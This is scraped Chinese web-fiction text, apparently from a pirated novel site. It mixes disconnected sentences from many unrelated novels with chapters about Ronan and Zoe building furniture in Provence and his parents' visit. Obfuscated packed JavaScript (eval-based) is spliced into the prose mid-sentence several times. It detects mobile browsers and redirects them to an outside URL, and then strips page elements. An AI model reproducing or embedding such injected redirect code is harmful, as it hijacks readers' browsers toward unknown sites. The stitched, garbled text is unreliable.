“道友误会了,我们是看到道友和我们佛教有缘,这不想……”一个大光头对凌渡宇道,那知道他的话还没有说完,就被凌渡宇给打断了。 不像诸天万界的其他真龙族,只是一个遥远的分支,血脉早就已经变地斑驳不堪。 凌渡宇带着他们来到了山沟边,没有多久就看到有几只野猪在山沟中找吃的。山谷中的积雪不是很多,野猪在这里找吃的很容易。 “知道了,母亲。”帕尔皮拉斯赶紧回应了一声,拉着克里斯的手,乖乖的回到克莉斯托娅身边。 此人佝偻着身子,脸色苍白,时不时的咳嗽声,让人怀疑他随时可能倒地,然后再也醒不过来。 他可以感应的出,黑色球体之中的诅咒之力和鬼域之力无比恐怖,绝对能够威胁到一名大帝境强者。 凌渡宇在这两个和尚走了后,就对胡琳儿道,“你不是想看看天狐血脉化形的嘛,这个胡媚儿就是。”凌渡宇说着拉起了胡媚儿的玉手。 皇帝的这话音刚落下,就又听得有脚步声在往这里靠近,皇帝转身看去,却原来是他的近侍太监找了过来。 “我姓钱,不过你们也可以称呼我阿乐!”交通警摘掉了自己的帽子,额头的汗水一瞬间找到了宣泄口,哗哗流淌下来。 这下,三人没做犹豫,齐齐走到前方的边缘处,又齐齐往下一跳。 真的让唐琦无法想象的是,这个医官竟然用凡人之躯硬生生地接下了兵器,虽然这让他的的左手鲜血飞溅。 母子两个一番谈笑,只觉得这偌大的皇宫都不再冷冰冰了,多了几丝温馨的暖意。 所以,当车轮停下来的时候,她也钻出了车厢,刚抬头便瞧见了遮天蔽日的硕大树冠。 那里有金山银山,有机会他一定搬空,不过不是现在,至少不能当着这些人的面。 当然船上所有人都是如此,在这股力道下,凡人哪有抵抗之力,不过这船只也是法宝,并没有被这一尾巴轰碎,也就是就是不听的晃悠罢了。 也正因为如此,他的行踪被院中休憩的护卫知道,只是五六个呼吸的时间,便有十余人冲到了祭祀的房间内。 第74章 你要发财了伙计 她解开身体封印,一股金色力量在她身上绽放出来,修为瞬间提升到了神皇境后期。 秦洛一个猛子扎进圣湖,顿时,一股寒彻骨髓的冷意传遍全身,好像血液都要被冻僵了。 “我是学会计的阿姨,听说京都有两家企业都不错,待遇好,我准备吃过饭就去面试。”王青青喝了口牛奶说道。 现在已经晚了,大奔玻璃内时而有火光亮了起来,是某人在抽雪茄。 亲戚?李氏和秦浩都是一脸懵逼,江溪眉头微微一皱,突然想起了前几天在姥姥家的事情。 京都东街街道两旁的众人看到一辆改装版的悍马军车,穿梭在街道上,那速度不是盖,众人议论不已。 “可不,今天看到新闻吓了我一跳。”许悠悠也脸色发白的附和道。 远古荒域面积颇广,而魔军具体数量又是迷一样,未免出现别的意外,九洲大军并没有全部开进远古荒域,尚留一半儿人手在外界镇守,避免魔军狗急跳墙,对凡界发起攻击。 莫良脚尖点地,身影如大鹏般猛地掠起,手掌一翻水光剑出现在手中,他双手握住剑柄朝着头象巨大的白色象头砍去。 高玥心里很清楚,眼下的大隋已经是蒸蒸日上的大一统王朝,关东氏族大多已经依附,这种情况下想要光复大齐,无异于以卵击石。 当阿福将电话打到那些媒体行业负责人的办公室的时候,这些负责人纷纷以各种各样的理由,将这件事推脱掉。 也就林知白没消耗什么体力,大多数时间都是看着夜莺等人种地干活儿,不过既然节目组免费请大家吃烧烤,他自然也是乐于参与的。 上回还攻击过树人,虽然最后道歉了,但他对帕拉的崇敬肯定不会变。 当然,这些想法他是不会跟夜风寒说的,他巴不得夜风寒脑袋一热,去城中寻找他所编造的所谓的**境道友,这样他才能摆脱这位疯子的纠缠。 叶晚晚上午的时候带着舟舟在家玩儿,下午约了张雪涵,带着舟舟跟肖俞一起去了游乐场。 荀劝学靠在床铺不远处的椅子上昏睡过去,身上也只是简单包扎了一下,他多是皮外伤,都是擦着磕着的伤而已。 这会儿正是清晨,太阳刚升起来没多久,不过,按照李嘉图的设计,跑道总共有数百个“圆圈”,一路横穿整个卡斯帕森林,而终点,李嘉图特意嘱咐帕塞塔尔,就设在丹布罗所在的地方,也就是被变异蛀虫蛀空的巨树下。 最令竹子直播想不到的是,F教练张庭羽的直播人气。一开始只有一千多,但是在他开始和孤寂双排后,人气来到了十万。等到爆出来孤寂要加入F的时候,人气竟然来到了六十万。 “谢谢郑总的好意,我自己能回去。”云飘飘甩开郑卓逸的手臂,继续向前走。 “喝!”易仙翁大吼一声,两手用力一推,太极图就像一个球,朝着胡力霸的头飞去。 “你……干什么?”林朝英没想到杨明这么大胆,一时间又羞又急,可是想挣开,杨明却根本不给他机会。 一路之上,赵日天留了是一个陷阱,除了火焰,还有毒雾、暗器和闪电球,都被李奥一一解除或者延迟引爆。 萧恒,萧恒,这个名字像是魔咒一样的萦绕在易敏的耳边上,不管是萧恒出现在哪里,永远都是焦点的人物,更或者说是一种耀眼的存在,所有的视线都会聚集在此,因为他的才华,因为他本身的耀眼。 这番话还算中听,不过,瑞利微微抿起的唇边似乎带着几分陶醉。 见闻色霸气的极致拥有者就算是在伟大航路的后半段,也是属于凤毛麟角的存在,没想到在这里居然能碰到一个。 裁判宣布赵逊进入下一轮之后 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14860032|159421||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,赵逊走下台,来到李无常身边,并和郭云灵打了个招呼。 长弓队,他们不是随随便便就动手的,专挑密集的队伍下手,一两轮箭雨下过之后,伴随着此起彼伏的惨叫声,密集的队伍马上变得稀疏。 纸绘则是让自己全身心的放松,卸下全身力量,通过对手动作所产生的气流变化,对朝向自身的攻击,都能进行判断从而躲避。不过他现在有了写轮眼,对手的攻击轨迹都能看得一清二楚,也没必要。 番外篇其实就是对主角无敌之后的去处做一个续写,字数不会太多,估计就是20-30万字吧,当然也有可能会更多? 皇甫旭从有些冰冷生硬的土炕上坐起身子,右手扶住额头拍了拍,昨晚他睡得并不好,睡惯了柔软的床铺,冷不丁的在土炕上睡一晚,简直比彻夜不眠还难受,此时他的脑袋就一突一突的,肿胀的感觉很不好受。 每一个艺人,一年的休息时间几乎没有。忙碌的跑来跑去,才是常态。因此有这样的机会,是很难得的。 李无常同意这个说法,皇室元字辈的人才确实非常多,只是李无常没怎么关注罢了,前些年战事不多,所以那些王爷都很低调。 普通百姓就是最底层的人物,是官员剥削的可怜之人,他们何曾想到有朝一日能够从官府之中得到米粮钱财。 在鲜卑骑兵之中,仍旧有着数量不少的猛火油,自从猛火油出现在军中之后,就有着很高的地位,寻常将领想要 在军中接触到猛火油也是不可能的事情。 “几位朋友请了,我们是隐居在富士山中的日月家族,这一次我们也是被那疯狂的八岐大蛇给波及了,所以不得不从密道之中逃离出来。 风一眉头紧锁,正要想办法将他从自己身上取下来,却忽然感到胸口一凉,这团软泥居然就这么渗透进了自己的躯体里。 第75章 勾引 “我应该提前发现的,这份图纸有问题。” 佐伊把脑后的头发放下来,用力甩了几下,金色长发马上恢复到柔顺状态。 床的制作相对顺利,一周前,它已经躺到罗南家楼上的闲置卧室里。 但当他们按照图纸上的标注把橱柜的木材处理好、准备组装时,发现很多地方出现了结构错误,尤其在复杂的抽屉部分。 佐伊自责的说: “老科勒连他家的狗都分不清了,我应该先确认图纸的准确性再行动......这是个低级错误。” 罗南看着一地的木材也有些心疼,不过这不是佐伊的错: “床没有问题,是个人都不会想到壁橱的图纸会出错,看看哪些是能继续用的,哪些需进行调整,别着急。” 佐伊拿起铅笔: “需要先画一份正确的图纸。” 合作过程中,经验更丰富的佐伊一直担任‘领导者’角色,罗南更像是一个半学半练的‘学徒’,佐伊让他干什么他就干什么。 画家具图纸的活儿自然落不到罗南的头上。 佐伊画了半个小时,眉头越皱越深,表情越来越严肃,铅笔在她嘴里发出‘咯吱咯吱’的恐怖声音。 罗南忍不住打断她的思路: “画不出来就算了,我去阿维尼翁买。” 还有一周时间,来得及。 佐伊换了个姿势咬铅笔: “这和买不买没关系,即使你去买了,我也要把壁橱做出来,不然之前的努力白费了不是吗?” 他们全程使用手工工具,地上的每一块木材、每一个木屑都是辛苦的结晶,不能轻易放弃。 ...... 那之后的半天,佐伊进入了废寝忘食状态。 不说话,不喝水,晚饭也不吃了......拿着尺和图纸不停的比划。 莉亚偷偷把罗南叫出来: “她要忙到几点?” 罗南满脸担忧: “不清楚,可能很快,也可能很久。” 罗南没敢说,从佐伊丝毫没有舒展的眉头判断,这个时间绝对不会短。 莉亚的脸色难看起来: “佐伊经常忙起来不吃饭,这可不是个好习惯。” “是啊。”罗南内疚的回头看。 橙红色的灯泡下,佐伊一手撑着脑袋,一手在纸上画着什么,一脸认真。 虽然佐伊说这和他没有关系,但罗南不相信一点他的原因都没有.. ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14860033|159421||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ....佐伊还是希望能帮助罗南完成这份给父母的礼物。 “你劝劝她,让她把晚饭吃了。”莉亚推了罗南一下。 罗南懵懵懂懂的回头。 我去劝? 你不是才劝过吗......没有用啊。 莉亚转头就走: “我去把披萨烤一下,很快就好,快去吧。” 罗南:“......” ...... 罗南站到佐伊身后,面色铁青。 只有画出正确的图纸才能让佐伊心甘情愿的停下。 罗南当然画不出来,但把【建造】升到3级有可能行。 他打开系统,目光落到最下方。 【2级建造:0\500】 【2级种植:0\500】 【2级采集:0\500】 【3级烹饪:0\2000】 【1级捕鱼:0\100】 【1级打猎:0\100】 ...... 【可使用经验:481】 大半个月过去,500点经验值依然没有存够。 差的这19点,正常情况下需要两到三天才可以获得。 第76章 在哪里跌倒就在哪里爬起 对于鸿钧道人、老子、元始、通天、接引和准提道人等原八人集团之人来说,有了之前的9只金乌的死亡,最后一只金乌太子的死亡其实意义已然不大。 叶晓峰点头,随即从系统中,兑换了一套九年义务教育的全套课本,放在了光绪帝面前。 只不过其中有两个老头子一直在争执,也不知在争吵什么,完全忽视了外界。 “去就去吧,这又有何喜的?”袁绍不解,人家扫墓跟你有什么关系? 君苏婉盯着这名君家总管,总觉得有些眼熟,这不是以前的总管。 “交州的士兵并不太多,但是有十一处好像是大阵一样的东西!这个属下并不知晓是什么东西!”锦衣卫回答道。 神龙一族,乃是远古神兽的后裔,自认为世间最伟大、最高贵的生物。 就像现在的天翊,其本身精神力还比常人强大,但也出现了精神力不足的问题了,即使以张昊天金仙之能也没有想到更好的办法解决。 在这生死一刻,夜色中飞来一道紫色光芒,迅疾无匹,向着李致远直飞了过来,在巨大电芒落下来之前,将他的身体带飞而起。 楚天泽冷冷看了紫衣男子一眼,身子微微一动,顿时腾空而起,掠向海面。 龙傲狼听到这里,心中猛然生起一种异样的感觉。不知道为什么,龙傲狼隐约感觉到,在那位曾经救过自己一命的老者身上,似乎也和自己一样,隐藏着一些不可告人的秘密。 罗丽实在不能忍受自己每天和熏肉在一起,否则自己都会变成熏肉。 容启锐愤怒的把手机砸地上,暴怒的额头青筋根根凸起,这件事明明就已经过去了,到底他妈的是谁爆出来的。 王家婆婆抬起眼皮,望了一眼那几服药,咳嗽了几声,才将视线不经意间落在了站在一旁的凌剪瞳身上。 瑞变成虎形,向着那里跑去,可是吊桥还没放下来,城门也没开,他“噗通”一声跳进河里,奋力向对岸游去。 舟亦轻疑惑地看了看委顿在地的云柔霞,又看了看宇府的那对姑侄,欲言又止。 接下来的日子,如意没事的时候就往睿王府跑,一开始南兮闭‘门’不见,到了后来几次,许是被如意的执着给感动了不少,也就渐渐跟她多说了几句话。 “傻子?”听到王动的话,朴静妍陡然目光一亮,傻子两个字脱口而出。 容琅的眼皮抬了一下,抬手抚了抚手边的扣子,看到席湛一脸愣神的僵在沙发上,有些好笑。 尽管有人爆料过风刃,但是其他人根本不信,最终被淹没在海量的猜测帖子中,所以现在关于陈锋的基因能力,依旧是学术论坛的热议话题。 因为之前有试探过大猴子,所以江寒也不担心这玩意儿会突然跳起来咬他一口,江寒捡起了神农尺碎片之后,发现在这河马旁边不远的地方,还有一柄精致的水晶飞剑,光是看着江寒就知道这东西不凡。 魔气加持在身,杰克顿时发现自己好像成为了帮派中最强大的打手,随手一棍,就可以抽飞扑上来的魔鸡,这功击力与以前相比,实在是差太多了。特别是自己的反应力、眼力,在魔气的加持之下,如有神助。 不多时,李婉晴等人就闻讯赶来,个个脸上带着不可思议的表情,尤其沈盈,嘴巴张得足以放下一根大蘑菇。 自此,浙北余家心甘情愿地投效贤王府。就这样,贤王府神不知鬼不觉地将京郊三营之一的虎贲军收入囊中。 “王妃,属下没有迟到吧?”莫名从窗户中从容的钻了进来,笑嘻嘻的问道,漂亮的脸蛋上因为天气的炎热而泛着些许红 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14860034|159421||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 润。 如果他当时不在,圣甲族的历史真有可能被篡改,杜马真的会消失!这一点,倒是符合他最初的推理。 不过他看破不说破,他知道,作为大房的苏圆圆是很要面子的,林峰也乐于给对方这个面子,把对方打造成皇后的样子。 几分钟后,李婉晴喘着粗气,收起了有些金属疲劳的玉清道德甲,然后重新坐回餐桌前。 这些熊地精跟在后面也是麻烦,虽然它们威胁不到史蒂芬,但是惊动一些地下的其他怪物就不好了。地下世界的怪物都很凶残,而且摩泰拉这颗星球上还有许多的变异物种。 “芙宁娜”的那些虫子,究竟是从哪里来的?又是由什么构成的?难道是诡异之力吗? 楚风这才看见,那处丛林里有一道纤瘦的身影正趴在山壁上,她的两只腿似乎不能动弹。 再说皇宫里头的楚安北和皇后韩月欣,韩月欣这两年越发的漂亮了。 让自己完全相信其中一只手,带着有色眼镜去看另一只手,苏垣扪心自问做不到。 听闻琵琶声停,裴陵邱以为是暗示,他虽觉身体乏力,但因在欢情的作用下哪里还坐得住,他又试探着问美人可否一见,但此时的郭娘子早没力气理他,刚要起身便倒了下去。琴声催动,掩了其内的动静。 也就是在接下来几个月时间,但凡是在华国音乐巅峰榜获得不错成绩的歌手,在以后的歌手等级认证将会获得一定的优待。 旁边个脾气不好的官兵闻言要免收进城费,顿时就不干了,又要说啥,却被和气官 兵打断。 韩月欣推了一下自己的丈夫∶“夫君,我告诉你这件事情,不能大张旗鼓的知道吗? 佛教自从南北朝以来,就有良好的发展态势,可以说是大势所趋。 第77章 大玩具 “我好得很!”卢卡斯露出胳膊上的肌肉,“年轻人都不是我的对手,要试试吗?” 听到卢卡斯新的一轮‘宣战’,好几个人围过来,期待的看向这场‘最佳松露猎人’之争。 罗南对他们摆摆手: “我和卢卡斯有事情聊。” 农夫们惺惺的抱怨两句,去别的地方喝酒了。 罗南知道卢卡斯买好了做松露培育的第一批地,正在进行首次菌丝培育,特奥经常有意无意的在他面前提这些事。 但卢卡斯一个多月没找他,罗南过了那段‘敏感’时期,敢主动提这件事了。 “和奥利维尔闹矛盾了?”罗南压低声音问。 松露培育需要两到三年时间,卢卡斯现在显然不是为最终的结果不及预期而伤神。 罗南猜要么是在和研究院合作的过程中发现自己被骗了,要么是奥利维尔给卢卡斯制造了什么麻烦。 第二种的可能性更高一些,卢卡斯不止一次在言语中表露出对这个合伙人的不满情绪。 卢卡斯不置可否的拎起酒瓶子,走向其他桌子: “你不玩我去找别人。” 罗南抓住他的胳膊: “现在停下来还来得及......那批地可以用来干别的。” 别再继续投入了,及时止损啊。 卢卡斯在罗南的肩膀上用力捏了两下,笑着掰开他的手。 很快,又有一个角落热闹起来,卢卡斯找到了新的挑战者。 叫喊声、拍手声、口哨声再次把老酒馆淹没...... 罗南和康奈尔喝了几杯酒,看时间不早了,起身离开。 走到门口,一个黑色不明物体从最热闹的人群中飞出,差点砸到罗南脸上。 罗南用手挡下那东西,拿到手里,发现是一把车钥匙。 “去接父母别丢了面子。”卢卡斯收回视线,对四周大喊,“下一个,下一个!今晚我强的无敌!” ...... 复活节是法国非常重要的一个节日,在每年春分月圆之后第一个星期日,是基督教纪念耶稣被钉十字架受死后第三日复活的节日。 复活节的法定假期一般是三天,但在小长假前一天,冯珍和冯天海就坐上了开往阿维尼翁的火车。 这是罗南建议的,他说明天普罗旺斯的道路会非常拥堵,如果不想在路上浪费五六个小时,最好早一天来。 “终于能见到罗南了。”列车还没到站,冯珍的心已经飞到儿子身边,“得有三个多月没见了吧?也不知道罗南有没有晒黑..... ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14860035|159421||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' .这里的太阳太大了。” 罗天海面色阴沉的低头看手里的报纸,对冯珍的话不闻不问。 冯珍用胳膊肘怼了他一下: “见到儿子不许摆臭脸!就三天时间,你就不能忍忍?” 罗天海把二郎翘到另一边,不咸不淡的说: “我可不敢。” 你们母子齐心,我算个什么啊? 你啊,你就继续宠他吧! 冯珍白了罗天海一眼,用嘴型骂骂咧咧了两句,之后凑上去用蛊惑的声音说: “想让罗南回巴黎,就好好和他相处,可能儿子早就后悔了,但一想到回巴黎天天看你这张老脸,宁愿在普罗旺斯吃苦也不回去。” “他是成年人了,要为自己做的决定负责,混不好就换地方,谁要给他——” 冯珍掐着他的胳膊,‘凶狠’的说: “就问你想不想让儿子在身边?少给我讲那么多大道理!” 罗天海‘哼’了一声: “就这三天。” ...... 下午三点。 冯珍和罗天海的列车停靠阿维尼翁中央站。 阿维尼翁中央站始建于1849年,现有的站房建于1860年,由法国著名建筑师设计。 第78章 美丽的卢尔马兰 这一刻,苏楠已经明白,哪怕自己身化九尾,凭借自己的实力也不可能战胜对方。 电梯门打开后,他驾轻就熟的走到天台,另他惊讶的是,天台上居然还有人。 “是又如何!”朱寘鐇索性承认,到了这个地步,他还能说什么。 虽然他连这句话也没怎么能理解其意思,不过好歹知道这是故事的开始不是。 但偏偏方问现在的脾性,不喜欢别人的反驳。一旦有人反对,就会有一股无名怒火。 对于这些马飞飞多多少少还是有点了解的,也明白这位老头上来的原因,静静地站在一旁听着。 力竭为止,徐直一拳又一拳出击,击打到后面,他已经不去关心数据了,只要沙袋碰触晶屏,只要还有力气,他就一拳一拳的打下去。 方问刻意避开了三人。这当然是霸王色霸气的杰作。方问的霸王色霸气进入到了第二阶段之后,对于精准度的掌控愈发的纯属。 若不是进遗迹没直接遭遇到龙,又恰逢顾雨兮指路,他的下场可能也没什么区别,会陷入没有穷尽的水晶龙和巨龙配合追杀中。 千瑶直接就哭了出来,她哭的是那么的伤心,好像将这两年的委屈全部都哭了出来,徐梅看到千瑶哭的这么伤心,赶紧过来安慰千瑶。 并且,叶晨还有别的想法,那就是想见识一下昆仑山的人到底有何不凡。 随着藏梧真君一个个点名,又是几人上前,无一例外,所领取到的全部都是橙色供奉袍。 这时人们都吃完了中午饭,还没有开始工作,都坐在一边聊着天。侯爵就看到郑力,此时正坐在一边的铁丝网边,不知道想着什么。 众人尽皆骇然,武浩的气势在此刻攀升到了极致,让不少修为底下的人感到一阵胸闷,有种窒息的感觉。 “陛下,其实我们从张先生父亲那件事情上做突破口未尝不可。”良久之后,佑敬言给赵祯出了这么一个主意。 如今这老毕岚可是十常侍仅存的硕果,也正是他多年浸淫于工匠之术,不掺和张让等人干政,才得以活到现在。最大的成就,就是制造了水车,用于农田灌溉,又叫:“翻车”,可是他的良心之作。 这个年轻的公务员确实人机灵,当他发现楚风出现在会议室的瞬间,在震惊了三秒钟以后,立即掏出手机给上面反映情况。 有了端木虹中途的打扰,武浩的这顿饭吃得坐立不安,好不容易吃完饭后,准备离开,却听到了冷玄霜的传音。 离茂还是没有理会丽丽,对着雨蒙说到:“雨蒙,走吧!我们出去吃饭吧!就让他们在这边跪着吧!”说完离茂就带着雨蒙往外面走。 签完一份后,律师立即为他呈上另一份放在他的面前,心里也心酸的不得了。 可是当她微微抬头撞上自家爷爷的目光时,她却霎时浑身一抖,只觉惊慌得厉害。 虽然家里没钱,但真要是有什么事,就算出去借也成先将人救了不是。 比如徐砚,他靠岳家的路子,没有经历过外放,只当了些日子的编修,调入工部后从主事做起,经员外郎、郎中,最后成了侍郎。 “请把当初那个口嫌体正直的老公叫出来。”颜向暖可是还记得靳蔚墨拒绝过她几次的,她以前没说,现在却觉得可以秋后算个账。 现在形势紧张,大门没开,还有专门的保安守着,别说学生出不来,有些想进去看孩子的家长也进不去了。 自从昨日出事起,外头就没断过人,多与少的区别罢了,有人只看热闹,有人骂骂咧咧,更有人拿着石头往院墙里扔,王夫人只能在屋里待着,根本不敢出去一步。 箱子一路滑到了港口,可上 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14860036|159421||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 船却要爬十几步的台阶,陈侯帮着拎了一只,楚焱戴上墨镜,只当自己没看见,径直上了船。 江随心和顾尹殊的搭讪,似乎就这么简单粗暴。那时候顾尹殊给所有人的印象,就是这么平易近人,学习好的不良少年。 “送我回家吧。”说话间,她已经轻轻地从王一凡那温暖的怀抱里离开了。 说完了,往床上一倒,睡下了。连盖头也不揭,更不要说喝合卺酒。 既然只属私事,那么铁手就觉得自己也不方便参与了。他向陈胜一颌首,移步退开。 战舰在大海当中行驶了一天一夜,终于在第二天下午的时候抵挡到了目的地。 “噗呲”一声响,后背传来的钻心剧痛使得张天夺又是一声闷哼,一头栽在了地面上。 四肢手足所组成的枷锁,更因而稍有松动。生死成败,尽在此刻。苏紫菱丝毫没有优越,手腕扭转素指急翻,拿出盖亚记忆体,干脆利落拍进腰带驱动器。 将作监,是大唐朝廷专门负责兴建土木宫殿、林园水利的重要衙门。下属的左校署,则是专门负责打造特殊的“限量版”的金银首饰、珍玩器物、兵器铠甲等物。 万叔点了点头,上了他那辆停在门口的桑塔纳警车就直接开走了。 而这孙化灵化出的化身以至比这道人的徒子徒孙还要多些,就算遇到修为相对高些的弟子,孙化灵的化身便三五个扑将过去,围着那弟子一阵猛打。可怜这道人手下不少好手,都是死于围攻之 中。 雷火余威不减,残余的雷火顺着城门洞向阳城中喷发数十丈远近。 连一旁的那七魄,与其他三名鬼差,也都被那“突如其来”一瞬间的变故,都给完全震惊到,这古画散发出来,那数道的血光,正不断的闪烁着,被弹飞出去那“姬魂索”又岂可能罢休。 第79章 警报拉响 “展宝会每年一次都是由这二层的管理者负责的他们每年多好展出几件强横的宝物最低的也是级的物品听说有过几届有灵宝出现。”那中年男子说道最后声音突然压低好似有多神秘一般。 凌残云冰凌冷意地目光投视到欧阳海天的身上,满含着的杀气,让人品尝得浑身不是滋味,欧阳海天逐步地收敛了心思,把身心全部集中到了凌残云身上,这一战不知道是什么样的结局? 由于父母都是名人,为了不打扰林熠的学习生活,王梓钧和林凤骄从未去过学校,也不准林熠説出自己的父母是谁。 第二天杨思勖就禀报了甲坊署的结果,“焦炭”可以熔铁,薛崇训以此判断那车东西可能就是焦炭;玄武门外的一堵矮墙也修好了,但薛崇训又等了三天估摸着差不多干了,才准备过去视察。 齐啸黑虎,光是那种音波都震周围地面上石头跳舞一样,上下蹿动,音波扫横众叶,狂风呜呜附和着,仿佛世界末日一般。 “巴德先生,你怎么搞的,我们约定好的事情,你当耳旁风吗?”洛锡安一屁股坐到了沙发上,对巴德怒声道。 “在看看吧,土匪没有那么容易杀的,等他生命值掉到一半,凭我们速度过去,应该能做到最后一击。”头头摇头说道。 看向这头大地之熊,杨林非常的满意,看到身上的伤势,杨林直接将上百颗的丹药拿出来,打入到大地之熊体内,当即这大地之熊的伤势,在肉眼可见的速度下恢复起来。 “叔父为何停留,还有什么事儿么?”侄子张济世的话把张说从失神中惊醒。 山上的竹笋早已经不砍了,乐浪想留着一些做种,现在起这些竹笋就开始放着不管了,等到了来年开春时候,再开始施肥、翻土,进入下一个轮回,年年如是。 这世界上坏人多了去,纨绔子弟也不少,林枫不是奥特曼,好些事情不是他能够管得过来的,至少现在不是。 这一切,都源于林枫的那个养母,那个在林枫眼里丝毫不亚于自己亲生母亲的养母。 唐高鹏、巫寂二人接到截杀东皇盟逃军的命令,在流金山停顿下来后不久,秦阳通过新收的那些混入巫寂大军的天命教徒,得到这一情况。 “难道是她……”刘烨想起了临行时清灵恋恋不舍的目光,知道她舍不得师中,却没料到这姑娘胆子这么大,瞒着她祖父追来了这里。 林磊目光变的平静,紧紧的盯着王诚俊,余光却看向窦倪和窦湾,看到两人眼中传达放心的意思,林磊彻底放下了自己的担心。 “再者,这已经是我第十四次被父亲罚抄三字经了,我已经将他记得滚瓜乱熟了。”段空顿了顿接着说道。 三个月后,就连江海都有些无聊了,他数得骨头,没有十万也有八万了,却连一个恶魔族强者也没有降临,本来这是一件好事,但现在无聊的蛋疼的江海,反而倒是期待能来几个恶魔族强者练练手,否则就太尼玛无聊了。 随着‘花’殇菱手指的舞动,周围数里空间内的水元素源源不断的涌入‘花’殇菱身体,‘花’殇菱也随之腾空而去,长发飘飘,浑身淡蓝包裹着淡蓝光霞,宛如雨中仙子一般。 此时木灵剑发出的青色根藤的根须,已经扎入了魔焰之中,并迅速地向内蔓延,魔焰中的一人拼命地扎了过去。 翁归靡将刘烨平安地送了回来,一晚未见,恍若隔世,看着满脸洋溢幸福的刘烨,冯嫽喜极而泣,拉着她的手好久都说不出话来。冯嫽整宿未眠,再加上焦虑不安,眼底的黑眼圈跟国宝有得一比。 方毅三人实力霸绝,而孟家,却已经到了生死存亡之际,若是对方真的和孟家先祖有些渊源,说不定能助孟家度过这一劫。 葛生并不知道这意味着什么,但是却清楚地明白这绝对 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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如果有众生想翱翔太空,我就在其面前显现宇航员的身份,为他们解说,使他们在人类航空航天事业中有所成就。 李星急忙询问:“出了什么事情?王波呢?余欢和夏燕呢?”既然国安已经派人来到西班牙,那王波和秦梦瑶的那场赌局肯定无法再继续下去了。 而此时得鬼灯真人也感受到了阴前辈得气息,而这股气息之中明明是愤怒夹杂着仇恨,更让他有些惊讶的是这股气息明明是冲着自己来的,这让鬼灯真人很是郁闷,自己什么时候得罪这个老家伙了。 自闭症的孩子都喜欢沉浸在自己的世界之中,不过苏瑾也不急,反正房子的每把钥匙她都有。 地水风火在混沌中不断演化,索罗斯不顾一切的一头扎入其中,本该免疫元气的身躯却无法免疫混沌元气。 还真别说,他们看人挺准的,苏峰的目的自然不可能使阻止大妖复活。 又经过了无量佛出现世间,有众生在过险峻地方时无法持物,我就会去帮助他们拿东西背物件,随他们的要求,让我送到哪里都行,从不要别人的报酬。 他正要取药的时候,却被苏峰阻止了,在他疑惑的眼神中,苏峰眼中深绿色的光芒一闪。 这时候,阿难起座,合掌顶礼,长跪对如来说:世尊,假如我的这个所见所闻的认知事物的性质,确实是没有生灭的,那么,为什么世尊说我们这些人遣失了真性,从而行为做事都是颠倒的呢? 面对这突然改变的世界,沈会仙不知道该往那里跑,也不知道怎么才逃的了。 现在,叶磊还真的不敢太得罪撅地蝎,虽然这家伙的脾气不好,但它的实力确实比叶磊强。 话音刚落,大将军的身体瞬间消失,一声剧烈的破空声响起,然后就看到一道猛烈的刀刃斩向吴天。 对于仙道,魔煞老怪根本就没有什么追求,一心只剩下享受最后的日子。 